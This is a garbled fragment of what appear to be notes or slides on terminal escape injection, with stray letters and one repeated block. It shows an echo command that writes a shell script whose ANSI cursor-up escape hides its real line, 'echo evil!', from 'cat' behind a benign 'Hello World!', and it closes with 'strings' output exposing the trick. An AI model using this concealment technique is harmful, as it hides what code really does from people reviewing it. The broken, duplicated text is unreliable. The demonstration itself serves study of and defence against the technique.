S
Size: a a a
E
E
EO
E
EO
AY
E
E
E
EO
F
F
F
echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh
$ chmod 700 script.sh
$ cat script.sh
$ ./script.sh
https://www.infosecmatter.com/terminal-escape-injection/EO
echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh
$ chmod 700 script.sh
$ cat script.sh
$ ./script.sh
https://www.infosecmatter.com/terminal-escape-injection/F
$ strings script.sh
#!/bin/sh
echo "evil!"
exit 0
[2Aecho "Hello World!"
F
S